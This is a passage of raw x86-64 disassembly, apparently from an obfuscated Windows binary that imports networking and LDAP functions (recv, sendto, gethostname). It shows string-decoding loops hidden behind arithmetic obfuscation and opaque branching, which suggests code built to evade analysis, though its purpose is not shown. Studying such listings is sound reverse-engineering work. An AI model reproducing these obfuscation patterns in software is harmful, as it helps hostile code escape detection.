and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009f4e2
movabs rcx, 0x6d4a949bf2e247e
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r11d, [rcx + rdx]
sub r11b, 0x72
movzx eax, byte [rbp + rbx + 0xea8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009f4e2
movabs rdx, 0xd97ea6701ba851d2
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14009f4e0
movabs rcx, 0x7f9b8ae99c34397e
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x72
jmp 0x14009f4d0
lea r14, [rbp + 0x1403ae0]
jmp 0x1400a02af
lea r14, [rbp + 0xfa470a]
jmp 0x1400a02af
lea r14, [rbp + 0xea8]
lea rdx, [0x140236a70]
lea rcx, [rbp + 0x380]
call fcn.140002660
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xb0]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002800
cmp byte [rsi + 0x38], 0
jne 0x1400a3083
mov byte [rbp + 0x9d0], Ordinal_50
mov byte [rbp + 0x9d1], 0xf7
mov byte [rbp + 0x9d2], Ordinal_200
mov byte [rbp + 0x9d3], 0xf1
mov byte [rbp + 0x9d4], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x9d5], Ordinal_200
mov byte [rbp + 0x9d6], 0xff
mov byte [rbp + 0x9d7], 7
mov byte [rbp + 0x9d8], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x9d9], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x9da], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x9db], recv
mov byte [rbp + 0x9dc], Ordinal_211
mov byte [rbp + 0x9dd], 0xcc
mov byte [rbp + 0x9de], 0xfe
mov byte [rbp + 0x9df], reloc.WS2_32.dll_WSAGetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x9e0], xmm0
mov word [rbp + 0x9f0], ax
mov byte [rbp + 0x9f2], al
movabs r12, 0x21795cb41e690a10
movabs r13, 0xa09d34d8fa0c97f0
movzx r11d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r9, qword [0x14023d108]
mov r8, qword [0x14023d100]
nop
xor ebx, ebx
movabs rcx, 0xe9368a827b5a55d0
cmp rbx, 0x23
jae 0x1400a1214
movzx r10d, byte [rbp + rbx + 0x9d0]
mov rdi, r10
cmp r9, rbx
ja 0x1400a1208
lea rax, [r8 + 1]
cmp r9, rax
jae 0x1400a0404
add rcx, rbx
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
add r11b, 0x50
jmp 0x1400a0450
je 0x1400a117d
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400a10d9
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400a1076
lea rax, [r8 + 7]
cmp r9, rax
je 0x1400a104c
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400a101a
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400a0fc5
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400a11fc
lea rax, [r8 + 9]
cmp r9, rax
jae 0x1400a0485
lea rdx, [rbx + r12]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x70
add r11b, dl
jmp 0x1400a04c0
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400a0f9c
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400a0f63
lea rax, [r8 + 6]
cmp r9, rax
je 0x1400a0f3f
lea rax, [r8 + 8]
cmp r9, rax
je 0x1400a0f05
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400a0ae0
nop dword [rax]
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x1400a0ab7
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400a0a8e
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x1400a0a64
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400a0a50
lea rax, [r8 + 8]
cmp r9, rax
je 0x1400a0a2b
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x1400a09f7
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x1400a09ce
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x1400a0994
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x1400a04d0
lea r9, [r8 + 0x40]
lea r8, [r9 + 3]
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x1400a11d8
lea rax, [r8 + 0x41]
cmp r9, rax
jb 0x1400a11b3
lea rax, [r8 + 3]
cmp r9, rax
jb 0x1400a06b5
lea rax, [r8 + 0x5a]
cmp r9, rax
jb 0x1400a068d
lea rax, [r8 + 4]
cmp r9, rax
jb 0x1400a066d
lea rax, [r8 + 0xa]
cmp r9, rax
jb 0x1400a092c
lea rax, [r8 + 0x42]
cmp r9, rax
jb 0x1400a08cb
lea rax, [r8 + 0x400]
cmp r9, rax
jb 0x1400a0876
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x1400a04d0
lea r9, [r8 + 0x10]
lea r8, [r9 + 0x2a]
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x1400a0840
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x1400a0817
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x1400a07ef
lea rax, [r8 + 5]
cmp r9, rax
ja 0x1400a07b6
lea rax, [r8 + 1]
cmp r9, rax
ja 0x1400a0795
lea rax, [r8 + 6]
cmp r9, rax
ja 0x1400a076d
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x1400a073e
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x1400a0710
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x1400a06e8
lea rax, [r8 + 0x200]
cmp r9, rax
ja 0x1400a04d0
lea r9, [r8 + 8]
lea r8, [r9 + 0x7a]
jmp 0x1400a04d0
lea rdx, [rbx + r13]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a04c0
movabs rdx, 0xce301fd40357ec50
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x30
add r11b, dl
jmp 0x1400a0450
movabs rdx, 0xfbc30acf0ca340b0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rcx, 0xe9368a827b5a55d0
jmp 0x1400a03cf
movabs rdx, 0xbcae5a0f3485080
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x80
add r11b, dl
jmp 0x1400a0fe4
movabs rcx, 0x395dd09bfc93a4e0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
inc r8
dec rbx
inc rbx
jmp 0x1400a03b2
movabs rdx, 0x66f0bb9705def940
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400a03b2
movabs rdx, 0x9483a6920f2a4da0
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x60
add r11b, dl
jmp 0x1400a109a
movabs rcx, 0xc216918d1875a200
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
jmp 0x1400a10c1
movabs rdx, 0xefa97c8821c0f660
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a03b2
movabs rdx, 0x1d3c67832b0c4ac0
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x40
add r11b, dl
jmp 0x1400a1100
movabs rdx, 0x4acf527e34579f20
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a1134
movabs rcx, 0x78623d793da2f380
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
movzx eax, byte [rbp + rbx + 0x9d0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a03b2
movabs rdx, 0x17e473e7de2a9ad0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
cmp r8, 0x10
jb 0x1400a0e9a
movabs rcx, 0xebbb2ffd25fe30e0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r11d, [rcx*2 - 0x40]
jmp 0x1400a0fe4
movabs rdx, 0x45775ee2e775ef30
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x50
add r11b, dl
cmp r9, 4
jae 0x1400a0eaa
lea rax, [r8 + 0x400]
cmp r9, rax
jbe 0x1400a0d54
movabs rcx, 0xb3785dcb82ef7ca0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
jmp 0x1400a089a
movabs rdx, 0x730a49ddf0c14390
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
lea rax, [r8 + r9]
cmp rax, 8
je 0x1400a0ed4
lea rax, [r8 + 0x7a]
cmp r9, rax
jbe 0x1400a0c4b
movabs rdx, 0x91ff011764867290
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a08ee
movabs rdx, 0xc8d82c38b6763c60
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x9d0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a03b2
movabs rdx, 0x23fe022ec90ce520
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a1100
movabs rcx, 0x5190ed29d2583980
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a03b2
movabs rcx, 0x7f23d824dba38de0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
jmp 0x1400a10c1
movabs rdx, 0xacb6c31fe4eee240
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400a1085
movabs rcx, 0xda49ae1aee3a36a0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
dec rbx
inc rbx
jmp 0x1400a03b2
movabs rcx, 0x7dc9915f7858b00
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
inc r8
dec rbx
inc rbx
jmp 0x1400a03b2
movabs rdx, 0x356f841100d0df60
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a0fe4
lea rax, [r8 + 0x64]
cmp r9, rax
jae 0x1400a0b0a
movabs rdx, 0xe9368a827b5a55d0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
jmp 0x1400a0944
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x1400a0b51
movabs rdx, 0x42f2b9683cd21420
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x9d0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a03b2
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400a0b82
movabs rcx, 0x8ca70d7c17a4c2a0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
jmp 0x1400a10c1
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400a0ba3
movabs rdx, 0x5f1422810e596e40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400a1085
lea rax, [rcx + 1]
cmp r9, rax
jne 0x1400a0bdb
movabs rcx, 0x31813786050e19e0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
dec rbx
inc rbx
jmp 0x1400a03b2
lea rax, [r8 + 7]
cmp r9, rax
jne 0x1400a0c15
movabs rcx, 0x3ee4c8afbc2c580
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
inc r8
dec rbx
inc rbx
jmp 0x1400a03b2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400a0950
movabs rdx, 0xd65b618ff2777120
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a0fe4
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400a0c7c
movabs rcx, 0x646c161c5b3b1e30
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x1400a0fe4
inc rax
cmp r9, rax
jne 0x1400a0cb2
movabs rcx, 0x946402648a47570
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
dec rbx
inc rbx
jmp 0x1400a03b2
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400a0ce8
movabs rdx, 0xae206a30360dccb0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a10c1
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400a0d1e
movabs rdx, 0x52fa943a237723f0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a1100
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400a08ee
movabs rdx, 0x2567a93f1a2bcf90
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a1134
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400a0d9b
movabs rdx, 0x85e572d079a42840
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x9d0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a03b2
inc rax
cmp r9, rax
jne 0x1400a0dcb
movabs rcx, 0x2abf9cda670d7f80
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
jmp 0x1400a1100
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400a0e11
movabs rdx, 0xfd2cb1df5dc22b20
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a03b2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400a0e43
movabs rcx, 0xcf99c6e45476d6c0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
jmp 0x1400a10c1
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400a0e64
movabs rdx, 0xa206dbe94b2b8260
mov ecx, Ordinal_50
jmp 0x1400a1085
lea rax, [r8 + 6]
cmp r9, rax
jne 0x1400a089a
movabs rdx, 0x194e1af82f498540
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a0fe4
mov byte [rbp + rbx + 0x9d0], r11b
inc rbx
jmp 0x1400a03b2
movabs rdx, 0xbe2845021cb2dc80
add rdx, rbx
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rbx + 0x9d0]
sub r11b, al
add r11b, 0x80
jmp 0x1400a1094
movabs rdx, 0x90955a0713678820
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0x9d0]
add r11b, dl
add r11b, r10b
jmp 0x1400a1100
movabs rdx, 0x874f19e0cac312b0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x9d0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a03b2
movabs rcx, 0xb4e204dbd40e6710
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
jmp 0x1400a1134
movabs rdx, 0x1007dad1e6a50fd0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a03b2
movabs rdx, 0xf3e671b9151db5b0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a0fe4
movabs rcx, 0x4f0c47af27b45e70
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
movabs rdx, 0xd4f1ba7fa15886b0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0x9d0], cl
inc r8
dec rbx
inc rbx
jmp 0x1400a03b2
movabs rdx, 0x7c9f32aa30ffb2d0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r8
dec rbx
inc rbx
jmp 0x1400a03b2
movabs rcx, 0xaa321da53a4b0730
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
dec rbx
inc rbx
jmp 0x1400a03b2
movabs rdx, 0xd7c508a043965b90
mov ecx, 8
add rdx, rbx
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rcx, 0xa75ecf84980d3250
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x30
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0x9d0], cl
add r9, r8
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a03b2
mov r10, rdi
movabs rdx, 0x607dc9915f7858b0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rdx, 0x79cbe4898ec1ddf0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x9d0], al
inc r8
add rax, r8
sub rbx, rax
movabs rcx, 0x63026f0c0a1c33c0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x40
add r10b, cl
mov byte [rbp + rbx + 0x9d0], r10b
inc r9
mov rax, r15
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0x9d0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a03b2
movabs rcx, 0xbba39f87720f0170
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x10
movzx eax, byte [rbp + rbx + 0x9d0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a03b2
movabs rcx, 0x2955f5ca15ee9510
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x70
jmp 0x1400a03ae
movabs rcx, 0x56e8e0c51f39e970
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
jmp 0x1400a0398
lea rcx, [rbp + 0x171b190]
jmp 0x1400a121b
lea rcx, [rbp + 0xcc0760]
jmp 0x1400a121b
lea rcx, [rbp + 0x9d0]
mov dword [rbp + 0xf70], 0x1f4
mov dword [rbp + 0xf78], reloc.WLDAP32.dll_Ordinal_60
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0xf70]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf78]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.140037d20
test al, al
je 0x1400a12b1
lea rdx, [0x140236a70]
lea rcx, [rbp + 0x3a0]
call fcn.140002660
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x70]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002800
cmp byte [rdi + 0x38], 0
jne 0x1400a3083
mov eax, dword [rdi + 0x30]
mov dword [0x140236898], eax
mov dword [rsp + 0x68], 0
mov dword [rsp + 0x6c], 0
mov byte [rbp + 0x9f8], 0x75
mov byte [rbp + 0x9f9], 0xb9
mov byte [rbp + 0x9fa], 0xab
mov byte [rbp + 0x9fb], 0xa7
mov byte [rbp + 0x9fc], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x9fd], 0x76
mov byte [rbp + 0x9fe], 0xae
mov byte [rbp + 0x9ff], 0x52
mov byte [rbp + 0xa00], Ordinal_79
mov byte [rbp + 0xa01], 0xbd
mov byte [rbp + 0xa02], Ordinal_45
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa03], xmm0
mov qword [rbp + 0xa13], rax
movabs rsi, 0x2d67177dd0048048
movabs r13, 0xb904e8bcd924c928
movabs r14, 0x75aa5e89e6f938b8
movabs r12, 0x3a08d1034afa668
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400a2162
movzx r10d, byte [rbp + rbx + 0x9f8]
mov rdi, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400a2156
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400a13b3
lea rcx, [rbx + r13]
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
sub r11b, 0x18
jmp 0x1400a13f0
je 0x1400a20cb
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a202e
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a1ff7
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400a1fc5
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400a1f6b
nop dword [rax]
cmp r9, rbx
ja 0x1400a214a
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400a1426
lea rdx, [rbx + rsi]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a1460
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400a1f47
inc rax
cmp r8, rax
je 0x1400a1f1a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a1eeb
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a1eb7
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400a1ad4
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a1ab0
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400a1a83
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400a1a54
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400a1a45
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400a1a21
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400a19ed
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400a19c9
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400a19a0
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400a1966
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400a1470
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400a2125
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400a2101
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400a166a
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400a164a
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400a162b
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400a1903
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400a189d
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400a184c
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400a1818
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400a1470
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400a17e3
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400a17bf
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400a1796
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400a175d
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400a173d
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400a1719
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400a16ee
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400a16bc
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400a1693
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400a1470
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x61]
jmp 0x1400a1470
lea rdx, [rbx + r14]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x1400a1460
lea rdx, [rbx + r12]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a13f0
movabs rdx, 0x9196bb9682661418
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a1375
movabs rdx, 0x6b38bbee80240240
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a1f8f
movabs rdx, 0xf92eea74cdda6ff0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400a1362
movabs rcx, 0x872518fb1b90dda0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
dec rbx
inc rbx
jmp 0x1400a1362
movabs rcx, 0x151b478169474b50
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
jmp 0x1400a1e56
movabs rcx, 0xa3117607b6fdb900
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
jmp 0x1400a2016
movabs rdx, 0x3107a48e04b426b0
add rdx, rbx
